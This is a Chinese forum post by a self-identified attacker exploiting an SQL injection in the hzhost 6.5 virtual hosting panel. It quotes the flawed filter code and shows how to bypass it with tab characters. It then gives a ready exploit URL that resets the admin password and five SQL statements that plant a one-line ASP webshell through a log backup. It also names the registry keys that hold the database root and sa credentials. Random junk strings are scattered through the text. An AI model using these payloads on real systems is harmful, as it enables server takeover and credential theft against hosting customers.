再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

admin

这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
只讲两个要点。
第一，如何拿网站管理员权限。
# l' a: k2 F7 f! z8 P0 b1 [  }1 A 第二，如何备份木马。
这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。
3 {7 T* T6 X: D/ k" x7 t" K0 r 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com QQ178737315
由于我写了很长，而且很累了，所以希望大家回帖鼓励一下。
' }' L4 T* n4 D5 }------------开放浏览-------------
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！
- c8 z* B: `. P- d8 h* G$ `-------------------------13-15行----------------------------
. V3 t1 p1 k3 @) U: v querytype=SafeRequest("querytype")  //saferequest函数接受数据
3 i9 I* n; J( W  T, O5 ~/ @ if chk_int(querytype)=false then  //检查是否是整数
    ErrMsg="<font color=#ff0000>对不起</font>，非法操作！..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据！
% k( a2 V2 [2 O' l' `   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据，他自己定义的saferequest函数！
   
    if  qu1="" then  //不能为空
* G# e% L; q; ^$ G3 F7 \* f3 Z         call errorpage(-2,"对不起，请选择参数！")
   end if         
# F5 l  B; I5 ^5 c3 g3 g& @      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围，虽然用了saferequest，但是我们可以绕过！
7 \7 }) q- D7 | -------------------------62-65行---------------------------
$ b+ |2 e7 a. q9 n" V$ R qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
: q3 ^: e8 Z2 t8 |, ~5 E/ c if qu7<>"" then
# \: L( f2 G6 E* n5 Q) u1 C- \qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了，所以这里成了死点！！
- h6 ^: K: @4 K0 h( ~0 ^3 A0 | end if
--------------------------117行-----------------------------
3 B: j7 c( t5 ^& F, j5 ^ query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
1 t. ^7 I" ?" P& j8 a. Y //到这里就丢进去查询了！

来看看saferequest()函数。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)  //获取数据
- o" v4 Q; A1 J! W7 |4 D4 I if IsNumeric(ParaValue)  then  //如果是数字
/ C6 O; }* K0 J) w7 G SafeRequest=ParaValue  //那就不过滤，直接赋值
3 i. {! J( z% }( o exit Function

/ ?8 M. A6 s' S5 [ else
ParaValuetemp=lcase(ParaValue)    //如果不是数字，先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
4 e4 y8 f* `0 h8 h1 V //定义要过滤的字符！
+ A( d7 @' b8 z: G$ M  Q
: F2 J9 B. m; Y7 f+ G: J: I! @ 他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
7 z' @: }* W0 ^: }4 r$ t
$ }$ D% x1 a- w/ K temps=split(tempvalue,"|")           //转为一维数组
for mycount=0 to ubound(temps)       //循环读数组内数据
4 L5 u6 q) E2 ^5 I: ` if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
: p4 [# M: _% A. [% u                 call errorpage(-2,"非法请求！！！")  //如果有则弹出提示！！
2 F" Q7 `- D! y: i+ i  ~. v* S                 response.end
end if
3 B. R/ t' |4 Z* u next
+ R+ T) Q8 y# x5 N; @' y$ H SafeRequest=ParaValue
end if
8 U  o2 I; ?9 S6 |  S End function
2 j  u5 q3 E2 m' C! ~ -------------------------------------

所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..仔细看清楚。上面过滤的是update+空格。select+空格。
' y- f& _" j( c$ E# N/ k 先给出查询语句的框架。
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc

4 c% w% E1 R9 ?+ M 为了使语句顺利执行：
% b. K3 i  x/ c5 a 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。
这里我给出条示范语句，即{我们的语句}
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
+ ^! Z/ R; y: r/ X' F" a
" M$ K2 o- O$ e- Q这条语句能够绕过saferequest函数的检测。没有出现单引号。
7 a1 A" J1 K, c; q1 j' E3 k& Y 我们提交：
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
; X( h! c/ Q9 t$ C) e% T7 B9 h
这句话就能够将admin的密码修改成123456
2 a# W" \8 B2 n 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
0 T3 L7 z& l0 g  p& W# Y0 J5 P/ \: z2 E 第二步是要备份挂马。
& E  Q8 v- C, ?; e/ o# a 大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了char(
7 `0 G* P, ?: ^4 x8 Q  D 导致备马的这条语句失败。
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。

% m. Z- ~9 T" L1 D# G* Q 有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
' {) j0 R7 t5 e 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(
$ ?4 F' p9 L  x( Y# a; q 接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
4 I" R& [, z$ V" u, H5 _ declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
; f' C- ~  r+ j" v1 ^ 第 三 步
. Z- ?6 J! @# ]  H* ^ insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
9 Q% G% u# {0 E  u Drop table [shit_tmp]--

' |5 g! @3 g# L* H 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》
" S% r4 ^4 d5 x) b* J
. m! z" D; h' X7 M5 }最后是答疑部分：
1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。
* J8 A+ n; S# V( I4 Y
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
; N1 q8 {  H  e% l- R  j 这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：
% ^" {% k- B+ J& X1 W  m3 Z 0x6531306164633339343962613539616262653536653035376632306638383365
" X& G4 |( H1 j1 w- @& n( o 大家仔细观察，会发现，其实只是去掉了一些00。。
所以大家在转换其他md5的时候，注意此问题。
2 n& A; i8 N" k" f  S- T
/ H% D* z4 a3 h" t+ B 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
/ D, h5 w1 C  Z' F: B9 I+ q 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
1 v" g% V7 A5 y) ]$ y) `
1 j3 S( j% {. j 4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。

5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。

6：:
9 u' E! y4 C/ Z6 y  g- \5 Isa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
mysqlpass---root密码
2 D/ h  R, Z  ]- K; p# e mssqlpss----sa密码
: x  `% p; W7 ~1 v3 ~7 A2 K" n0 q3 y

7.如果路径不在D:/hzhost
3 E) q, y$ o& W0 s 那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。
$ i4 ]% U8 @9 I: z/ v1 E 或者去读注册表。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
"wwwrootpath"="e:\\wwwroot"
9 z! z6 }( \5 \: k4 J) C* K "urlsiteroot"="D:\\hzhost\\hzhost_url"
# V" R3 w+ k# H: f$ Y "ftprootpath"="e:\\ftproot"   可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！
, e) q# N* X+ F" }/ I/ t( G( Q
利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）
hzhost最新漏洞.rar
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！
  e& @6 Q8 ^! t0 F" }2 K8 [4 `
9 }  c8 c9 b2 o 最后，还是版权。
! D) t3 {  r1 }. whttp://www.xxbing.com QQ178737315
允许自由转载。但请注明作者。